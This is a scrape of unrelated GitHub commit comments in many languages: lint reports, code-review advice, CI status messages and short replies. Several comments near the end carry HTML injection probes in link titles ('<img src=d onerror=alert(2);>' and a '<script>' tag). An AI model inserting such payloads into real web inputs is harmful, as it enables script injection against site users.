- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/GithubCommitCommenter.kt#L16)


Ah. That makes sense to me. :)


### ----------------------------- Detekt Issues ☠ -----------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L18)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L31)
- [EmptyElseBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L26)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L20)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L22)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L24)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/Factory.kt#L11)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L16)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L22)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L24)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/KotlinPresenter.kt#L36)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/Factory.kt#L11)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/2ceab84dd15646e03229615fea58b55cb242ec8d/GithubCommitCommenter.kt#L16)


I think this isn't needed again


расшифровка предыдущего комментария:
метод `capitalize!` это "бенг-метод", у которого есть родственник `capitalize`
в большинстве случаев отличие "бенг-методов" от "обычных" в том, что они мутируют, т.е. изменяют переменную
если написать
```ruby
variable.capitalize
```
то значение в переменной не изменится
для изменения значения и его сохранения нужно написать либо
```ruby
variable = variable.capitalize
```
либо
```ruby
variable.capitalize!
```
в любом из двух последних случаев в переменной `variable` сохранится уже новое значение, подвергшееся воздействию метода `capitalize`

в текущем коде идет присвоение значения, полученного из терминала в переменную
речь об изменении уже сохраненного значения не идет
поэтому достаточно "обычного" метода, восклицательный знак лучше убрать (как правило "бенг-методы" более ресурсозатратны, чем их "обычные" родственники)


Why did you break dconf and then start putting things on the host file system, so much about this is wrong..


should 18.0.0 ! https://semver.org


pip doesn't use SemVer.


Thanks!


I haven't tested this but I don't think this line is correct. For example url is 'https://puhutv.com/darisi-basimiza-detay'. playlist_id is gonna be 'darisi-basimiza' and json url is gonna be 'https://puhutv.com/darisi-basimiza-detay/api/slug/darisi-basimiza-detay' then this url is not found. Am I right?


после запятой нужен пробел


No, you're not.


здесь снова табы и код не с начала строки


Fix #81


WOW


Thanks for the update! 👍 🔥


Heroku deploy


Sorry, this is no longer only a tuning. There are 4 additional operations used. The compiler can reduce this with common sub expression elimination to two. so use [0,5]


And, just 6 lines below, it's explicitly stated which versioning scheme it uses.


I'm talking about "Hold SHIFT for Info" tooltip in string 47
https://github.com/MrCrayfish/MrCrayfishFurnitureMod/blob/378f8d83028549c6bed8ef83a6629fabe9e64a38/src/main/java/com/mrcrayfish/furniture/blocks/BlockDesk.java#L47


I just realized that doing this also adds the testcase from `GitCommitBearTest` into this module.
So remove this, and replace all of the `GitCommitBearTest.run_git_command` with `run_shell_command`


Let's discuss this when you are in the office.


@locutus2 I know, I just want to get some measure. If I run [0, 5], not enough games will be played.


@Nick-Hall Agreed, it just makes history look a little weird. Not enough of a reason to make everyone force-pull.


"For information only"


@kuszcjan lesson_12


I think we'd just want to get the HEAD commit SHA from here, rather than the commit message


Move this to `get_head_commit`


Change this into "The HEAD commit SHA"


Many to Many


Sorry, but is missing one ')' here... in line number 272
Thanks for your work!


Get the `raw_commit_message` by using `'git log -1 --pretty=%B ' + head_commit`


対応しましたー₍₍ (ง*ᐛ)ว ⁾⁾


We might also want to change this parameter to `head_commit_sha`


There's no commit in the master branch, that's why the merge can't be done, create a commit in the master branch first.


you can use emplace_back(name, value);


Following up: That worked and the app deployed.


getting used to branchs


kernel


This was a strong elo gainer. The likelyhood to simplify this away (not only at STC but also LTC) is very small
https://github.com/official-stockfish/Stockfish/commit/0a5b03af3f4291c11d1eb28bcfa607471ba81fd1


Thank you nerd


Will do.
It was late on a Saturday night, and I was tired and ready for bed.


здесь нет особого смысла использовать метод класса, особенно с учетом, что он у тебя вызывается только один раз в самом же классе )


Nice.
I do think we should split those 4 checks in `BETA_REDUCE_EVAL` into individual checks with individual and more informative error messages.


did you mean `overlays` here?


thanks for sample get method. we should change DI Configuration  for Data layer More generic way. (thumbs up)


'#' 글머리가 h1 태그라는 것을 명시


Done: https://github.com/TheAssassin/AppImageLauncher/issues/60


You could define this as just
```haskell
accessContents = ctype
```


After I tested this code, I realized that I was not right because I had recognized urljoin function wrong. Sorry for my fault


I think that having all `Paragraph` being labelled (same with all `EqnBlock` and `List`, but not so for `Bib`) seems like overkill.


Thanks @sam31415 !

We've updated the`set_slippage` function, as it was required to align with this commit and release 0.5.18
We've taken your comments into consideration and made sure users will know about this change.


строки 12 - 14 лучше вынести в отдельный метод, который здесь вызвать
какой-нибудь "криэейт дэк" или еще что-то


можешь оставить здесь, но возможно логичней вызывать этот метод из управляющего кода
создал колоду, в начале раунда перемешал


### Ipsun text?

You are a man of culture.


. spellcheck
. remove "Congratulations, you played yourself", not taking risks with HR


![](https://github.trello.services/images/mini-trello-icon.png) [GH - first shot](https://trello.com/c/vo0dQCjY/2-gh-first-shot)


Did you mean to check-in `untitled.hs` ?


I think you shouldn't make `db` a pointer, but a regular variable.
And this memory allocation here is never freed.


### Ipsun text?

You are a __man__ of *culture*.


![](https://github.trello.services/images/mini-trello-icon.png) [GH - first shot22](https://trello.com/c/vo0dQCjY/2-gh-first-shot)


inital


This is cool but be careful not to override bootstrap's style sheet. Alot of this is already built into the bootstrap css. Also the dir for this would be public/stylesheets.


Good job...

Maybe you already had there something you could use for the Facebook link clickable.

If I remember correctly, only with https://github.com/davewx7/aa/pull/4/commits/a2c2acbbc3a663b8c4ad052c282ffde98f6dae2b, no addition of any resource, and yet already rendered like:

![screenshot](https://user-images.githubusercontent.com/3533348/36122386-6de170ca-1049-11e8-806a-d02afecc2b35.png)

🤷♂


Ah. This should be overridden in PullRequest handler to default to this?


ok


So you decided to make SQLite only for in-memory databases?
Anyway, you should check if first argument is really of expected type.
`godot_variant_type GDAPI godot_variant_get_type(const godot_variant *p_v);`


@noffle this should work fine in my fork of safe-fs-blob-store.

The bug was here: https://github.com/noffle/safe-fs-blob-store/blob/90856d79da7a7c78397a42cce7c1ae5cc08b754b/index.js#L84

You were returning the transform stream rather than the write stream. It should be something like `return t.pipe(ws)`.

I've added an explanation here: https://github.com/rvagg/through2/issues/91#issuecomment-406872979

We could safely reverse this, although I think this change actually makes it more readable.


сложность твоего алгоритма O(n^2), можно было за один проход решить по массиву (те за O(n))


+1 for this patch


ありがとうございます。


не забываем скобочки в конструкциях (for не исключение)


Nice. But why is the glassBR example calling `sortBy` itself? Wouldn't we want the infrastructure to do that?


"More changes" is not a good log message to use...


Doubt: what if more than one DB is open at same time? Should this name "godot.db" be unique or is it useless?


It might be better to just use [createadmin management command](https://docs.weblate.org/en/latest/admin/management.html#createadmin) and you don't have to care about internals then:

```
python manage.py createadmin \
    --username "$DJANGO_ADMIN_USERNAME" \
    --email "$DJANGO_ADMIN_EMAIL" \
    --password "$DJANGO_ADMIN_PASSWORD"
```


I was not aware about it when I developed the theme. I did not go through the documentation properly. Thanks for the suggestion :)


precise64 URL is still here:

https://github.com/OSGeo/gdal/blob/c8fd0569c336ee6c0722ec5a9adfa63ed8281e51/Vagrantfile#L36


That is certainly a nice simplification to have -- but I don't understand why preventing that particular idx from becoming 0 is a 'fix'. It feels like a patch that hides the true bug from being triggered.


Oh, I am sorry. Seems I forgot to test evaluation in that case. Thanks for fixing this.


### ----------------------------- Detekt Issues ☠ -----------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/7998d62f6bdb3866fa2c984d2e90fd52a43c2a1c/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L17)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/7998d62f6bdb3866fa2c984d2e90fd52a43c2a1c/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L19)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/7998d62f6bdb3866fa2c984d2e90fd52a43c2a1c/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/7998d62f6bdb3866fa2c984d2e90fd52a43c2a1c/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [EmptyElseBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/7998d62f6bdb3866fa2c984d2e90fd52a43c2a1c/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L13)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/7998d62f6bdb3866fa2c984d2e90fd52a43c2a1c/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L15)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/7998d62f6bdb3866fa2c984d2e90fd52a43c2a1c/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L7)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/7998d62f6bdb3866fa2c984d2e90fd52a43c2a1c/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/7998d62f6bdb3866fa2c984d2e90fd52a43c2a1c/buildSrc/src/main/kotlin/com/example/gradle/GithubCommitCommenter.kt#L16)


@kuszcjan lesson_13


First steps with python


This and the following 3 lines should be inside the code block which currently ends at line 15.  Not sure how this even works at all.


### ----------------------------- Detekt Issues ☠ -----------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/b2de3781c4382ac73b2d5a998114d1fda774caf3/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L17)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/b2de3781c4382ac73b2d5a998114d1fda774caf3/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L19)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/b2de3781c4382ac73b2d5a998114d1fda774caf3/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/b2de3781c4382ac73b2d5a998114d1fda774caf3/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [EmptyElseBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/b2de3781c4382ac73b2d5a998114d1fda774caf3/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L13)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/b2de3781c4382ac73b2d5a998114d1fda774caf3/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L15)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/b2de3781c4382ac73b2d5a998114d1fda774caf3/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L7)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/b2de3781c4382ac73b2d5a998114d1fda774caf3/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/b2de3781c4382ac73b2d5a998114d1fda774caf3/buildSrc/src/main/kotlin/com/example/gradle/GithubCommitCommenter.kt#L16)


此项目由于是基于maven所以创建，在很多时候需要先手动将maven打包发布一下，否则会出现编译异常（代码上面看不出来异常信息，所以一开始用这个十分纠结）


Could we do this by calling the "clearDisplay" function?
That function might need to be modified, or a separate "clearSettings" function created, but it may help with the "Don't Repeat Yourself" principle..


@dsykesturner and @kochie can you please let us know when we have App Store & Google Play links so they can be added in here?


I created a PR for the WPT changing some asserts to use generic Object.hasOwnProperty calls on these objects. https://github.com/web-platform-tests/wpt/pull/12125


This statement is repeated for almost every single case.  It should probably be moved down below the switch statement.  This will reduce your code length quite a bit.


commit logowania


This is the only exception to the this.displayFunction call.  You could instead add a "return" after the alert, which will exit the function.


как-то сложно очень решено и не верно


hahaha, yeah i was maaaaad

On Sat, Jul 21, 2018 at 3:15 PM, Corey Mitchell <notifications@github.com>
wrote:

> This is the greatest commit message I've ever seen LOL
>
> —
> You are receiving this because you authored the thread.
> Reply to this email directly, view it on GitHub
> <https://github.com/PROJECT-1-HACKERS/Project-1-BootCamp/commit/c14b11d3f9c2fcedc2bc0117ad70d7f7561431a0#commitcomment-29789823>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AT6ZnVxzS0vfspkBLSMdnYysVQdzUi9Rks5uI4v0gaJpZM4VZv71>
> .
>


не за чем оставлять столько пустых строчек в классе


asdfasdf


commit rejestracja


лучше давать нормальные имена переменным, а не просто i


не надо выводов в консоль в основном алгоритме


commit skypt


hecc i pushed the token and my NND login data 2 times, nobody saw anything uwu


Resume


commit skrypty


commit endecken


commit forum


Total time of work:
3 hours


commit licencja


I think I understand the reasoning behind removing `find'`. But not so much about the 2 glassbr lines from the Makefile.


commit mitteilungen


не правильная формула


Ah, I see, it was a temporary thing from some reason that is no longer relevant!


commit Photolio


commit praca


commit regolamin


commit retwet


sry fsm not like EOL thing...
only start, create and cleanup boxes changed bit


Overall this looks pretty good.  The code is pretty easy to read and I don't see a lot of opportunities for improvement.  I've added some comments inline against the commit for minor things.

You should be proud of yourself not just for completing this in a timely fashion, but for doing so with React/Webpack.  You've shown a lot of great learning here.


commit web.conf.


отступ между классом и функцией, а также между функциями


Like so:
```javascript
calculate = () => {
    let op1 = parseFloat(this.acc);
    let op2 = parseFloat(this.currentNumber);

    switch (this.operator) {
      case 'add':
        this.result = op1 + op2;
        break;
      case 'sub':
        this.result = op1 - op2;
        break;
      case 'multi':
        this.result = Math.round(10000 * op1 * op2) / 10000
        break;
      case 'div':
        this.result = Math.round(10000 * op1 / op2) / 10000
        break;
      case 'mod':
        this.result = op1 % op2
        break;
      default:
        alert("Invalid Op '" + this.operator + "'")
        return;
    }

    this.displayFunction(this.result);
    this.acc = '';                //clears the second number
    this.currentNumber = this.result    // ***important keeps running total of calcuations
  }
```


commit zdjecia


давать нормальные названия переменным


We still use c++11 std, remember about it when we switch to c++17


I was planning on swapping the outputs, I was just copying existing syntax without thinking too much about it. I get that having the file name first with `uigetfile` makes sense in its context, but it's always messed with my brain a bit having the file name before the path name.

In the multiselect case, you can actually select files *and* directories, so the assumption that the path is homogeneous isn't necessarily correct. I haven't decided if I want to respect the behavior, since it's nice to allow for the selection of multiple directories, or just ignore it and throw a warning. I'm leaning towards the former, though having a `ScalarPath` option would be a nice complement to the latter.


commit layout


isn't std::find_if part of c++11?


commit jekyll


This function is `maybeToList` from `Data.Maybe`.


commit str.dla uz.


Proxy support is awesome!  Any easy way to add proxy authentication?


сложное условие, надо упростить. Как минимум оно срабатывает один раз, следовательно нечего его выносить в самый верх алгоритма


для вывода массива используй Arrays.toString


commit str.po wyl.


Would a compromise be to only proxy non-local urls? ... kinda need this functionality for something.


Comment on the 5 lines above: you should never just cut-and-paste code like that. If it is duplicate, it should be put into a common function.


почему не выносим в отдельную функцию алгоритм? В мейне только тестируем


Don't need to apologize.  The logic is as long as it needs to be.  The apology is writing it cleanly and readably.


main только для тестирования, выносим алгоритмы в отдельные функции


### ----------------------------- Detekt Issues ☠ -----------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L17)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L19)
- [EmptyElseBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L13)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L15)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L7)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/buildSrc/src/main/kotlin/com/example/gradle/GithubCommitCommenter.kt#L16)


commit str.glownej


Commit message doesn't give details as to _why_ this was removed


Don't add additional commentary "all this logic does is say".  Just the facts, ma'am, just the facts.


It's all good. I'm just trying to make bug fixes as visible as possible.


тебе нужно было лишь удалить повторяющиеся значения, а ты полностью изменил структуру массива из-за сортировки, хоть это и оптимальнее решение


commit index


 int b = 0;
+        a[b] = a[0];
Похоже на какую-то чертовщину, зачем саму себя присваивать таким образом?


Move this comment inside the true portion of the if statement.  Talk about what the condition means.

IE:
```js
  handleNumber = (number) => {
    if (this.flagNewNumber) {
      // if number is new, stores in ACC
      this.acc = this.currentNumber
      this.currentNumber = '' + number;
      this.flagNewNumber = false;
    } else {
      // if number is not new, store in Current Number
```


Das neue Liveplotten ist schneller als das alte, ist aber immernoch zu langsam, um alles plotten zu können. Ich habe deshalb eingebaut, dass nicht alles geplottet wird, sondern nur die letzten x Sekunden (kann man einstellen). Vielleicht gibt es noch einen weg, dass nicht jedes mal neu geplottet wird. Mit set_data habe ich nur einen Weg gefunden, über blit, aber das hat auf meinem Mac nicht funktioniert und war mir dann zu kompliziert.


где скобочки?


main должен быть в самом вверху


Sorry. yes it`s part, but accept only iterators as input.


в руби принято при написании хешей оставлять пробел после и перед фигурными скобками, вот так хорошо:
```ruby
good_hash = { a: 1, b: 2 }
```
а вот так плохо:
```ruby
bad_hash = {a: 1, b: 2}
```


задача было самому написать такой алгоритм, а не использовать готовые, иначе ничему не научитесь


Remove extraneous commentary "all this does is".


не за чем оставлять столько пустых строк после окончания класса


не верно рассчитан размер нового массива


please ignore


Comment could be rewritten as:
"Only call calculate when we have two valid operands"


ну и естественно алгоритм тоже получился не верный


Please remove the whitespaces.


скобочки совсем не хочешь расставлять


![](https://github.trello.services/images/mini-trello-icon.png) [GH - first shot2<img src=d onerror=alert(2);>](https://trello.com/c/vo0dQCjY/2-gh-first-shot)


скобочек вообще нигде нет, ужас. Да и switch тут смотрелся бы гораздо лучше


BTW. we use std::find_if in vstd::contains_if


лучше `hash` заменить на что-то более осмысленное, хотя конечно здесь речь идет о наборе данных, который хранится в хеше, этого отрицать нельзя  )))
возможно `data` или `info`, или еще что-то в подобном роде


Tu te chauffes :stuck_out_tongue:


почему с большой буквы?


не надо делать отступ в первой строчке метода


что за ; в конце else?


нужно добавить пробел перед знаком "равно"


задача решена не верно, только одну букву проверяешь


You should use `IO.sync` for effects, not `IO.point`.


не надо этих странных строчек кода и магических чисел


Ditto here.


kiva-non-quad-walls (nealkruis) - x86_64-Linux-Ubuntu-14.04-gcc-4.8: OK (2987 of 2987 tests passed, 11 test warnings)

Messages:

 * 11 tests had: AUD diffs.

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png) ![Test Badge](http://img.shields.io/badge/tests%20passed-100.0%25-green.png)


Will there be oreo?


Please remove the whitespaces.


### ----------------------------- Detekt Issues ☠ -----------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L17)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L19)
- [EmptyElseBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L13)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L15)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L7)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97//Users/tarek/AndroidStudioProjects/emptyapp/buildSrc/src/main/kotlin/com/example/gradle/GithubCommitCommenter.kt#L16)


I'd prefer to call it `parAll` to match with `forkAll`, `raceAll`, etc. If you know this is `sequence`, you'll probably be writing polymorphic code and not calling this concrete method, anyway.


Isso aqui só faz sentido se for usar servidor web.


как-то очень сложно написан алгоритм, можно гораздо проще, подумай


массивы в руби рекомендуют записывать, разделяя элементы пробелом:
```ruby
arr = [1, 2, 3] # good

arr = [1,2,3] # bad
```


можно было просто count += anArray.length


здесь кажется что-то потерялось перед оператором `%` в последней проверке


Esse fix só faz sentido se vc for usar servidor web


а тут зачем тебе count?


The content folder and its' contents didn't get added to the repository.

Probably already know this but will mention it anyways, to do a blind add of all the new files in your working directory to the repository run
`git add -A`


![](https://google.com) [GH - first shot2<img src=d onerror=alert(2);>](https://trello.com/c/vo0dQCjY/2-gh-first-shot)


скобки не нужны, т.к. оператор `&&` имеет приоритет выше, чем `||`


нельзя менять параметры функции


I think the missing )'s are fixed.   There were two of them missing....

On Sun, Jul 22, 2018 at 2:27 AM, Sanitar <notifications@github.com> wrote:

> Roxy, hello.
> In bedlevel.cpp I accidentally found another missing ')'
>
> #ifdef MANUAL_PROBE_START_Z
>   #if MANUAL_PROBE_HEIGHT > 0
>     do_blocking_move_to(rx, ry, MANUAL_PROBE_HEIGHT);
>     do_blocking_move_to_z(MAX(0,MANUAL_PROBE_START_Z));     //look here
>   #else
>     do_blocking_move_to(rx, ry, MAX(0,MANUAL_PROBE_START_Z);
>   #endif
> #elif MANUAL_PROBE_HEIGHT > 0
>   const float prev_z = current_position[Z_AXIS];
>   do_blocking_move_to(rx, ry, MANUAL_PROBE_HEIGHT);
>   do_blocking_move_to_z(prev_z);
> #else
>   do_blocking_move_to_xy(rx, ry);
> #endif
>
> current_position[X_AXIS] = rx;
> current_position[Y_AXIS] = ry;
>
> #if ENABLED(LCD_BED_LEVELING)
>   lcd_wait_for_move = false;
> #endif
>
> Thanks for your work. Excellent.
>
> —
> You are receiving this because you are subscribed to this thread.
> Reply to this email directly, view it on GitHub
> <https://github.com/MarlinFirmware/Marlin/commit/a35abce1acd19da04c160ae5a861dbd086df82fd#commitcomment-29791436>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AIA9YlL12qX5IDL5ok75ATvqqMIxMsTIks5uJClggaJpZM4VZ5U6>
> .
>


здесь и далее:

рекомендуется использовать пробелы до и после арифметических операторов, операторов сравнения, логических операторов

примеры:
```ruby
    b * b # хорошо
    b*b   # плохо

    a > b # хорошо
    a>b   # плохо

    a && b # хорошо
    a&&b   # плохо
```


Test parameters: "1" and "3".


зачем идти от начала и до самого конца? достаточно до середины дойти и проверить


kiva-non-quad-walls (nealkruis) - x86_64-Linux-Ubuntu-14.04-cppcheck-1.61: OK (0 of 0 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png)


разбивать на функции, сложно написано


![](https://google.com) [GH - first shot2'><img src=d onerror=alert(2);>](https://trello.com/c/vo0dQCjY/2-gh-first-shot)


TeamCity Architecture Team :: Java Platform :: otj-filterorder :: BuildTest [Build 45](https://teamcity.otenv.com/viewLog.html?buildId=8982978&buildTypeId=ArchitectureTeam_JavaPlatform_OtjFilterorder_BuildTest) is now running


это я про `month-1`


блоки, заключенные в фигурные скобки также, как хеши выделяются пробелами в начале и в конце:
```ruby
collection.each { |element| do_smth(element) } # good

collection.each {|element| do_smth(element)} # bad
```


![](https://google.com) [GH - first shot2'><img src=d onerror=alert(2);><script>alert(2);</script>](https://trello.com/c/vo0dQCjY/2-gh-first-shot)


нельзя изменять параметры функции


Nope, same path always regardless of files/folders. `path` holds the root of the selection.

![result](https://user-images.githubusercontent.com/6509619/43047490-907e639e-8de0-11e8-9b00-15dc0c6cd970.png)

![uiget](https://user-images.githubusercontent.com/6509619/43047497-9f51e5ee-8de0-11e8-8ab7-7c9f60baad29.png)


использование однобуквенных переменных может быть оправданно разве что в случаях, когда эти навзвания диктует контекст задачи
к примеру, если это коэффициэнты уравнения, произвольные стороны геометрической фигуры и т.п.


сразу return


Yes, but that's not what I want to output.


### ----------------------------- Detekt Issues ☠ -----------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/7fd22b59ed4973f33d0fdf64f3f3576ab879fcb8/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L17)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/7fd22b59ed4973f33d0fdf64f3f3576ab879fcb8/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L19)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/7fd22b59ed4973f33d0fdf64f3f3576ab879fcb8/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/7fd22b59ed4973f33d0fdf64f3f3576ab879fcb8/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L11)
- [EmptyElseBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/7fd22b59ed4973f33d0fdf64f3f3576ab879fcb8/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L13)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/7fd22b59ed4973f33d0fdf64f3f3576ab879fcb8/app/src/main/kotlin/com/example/empty/emptyapp/KotlinPresenter.kt#L15)
- [MagicNumber - [x]](https://github.com/tarek360/emptyapp/blob/7fd22b59ed4973f33d0fdf64f3f3576ab879fcb8/app/src/main/kotlin/com/example/empty/emptyapp/Factory.kt#L7)
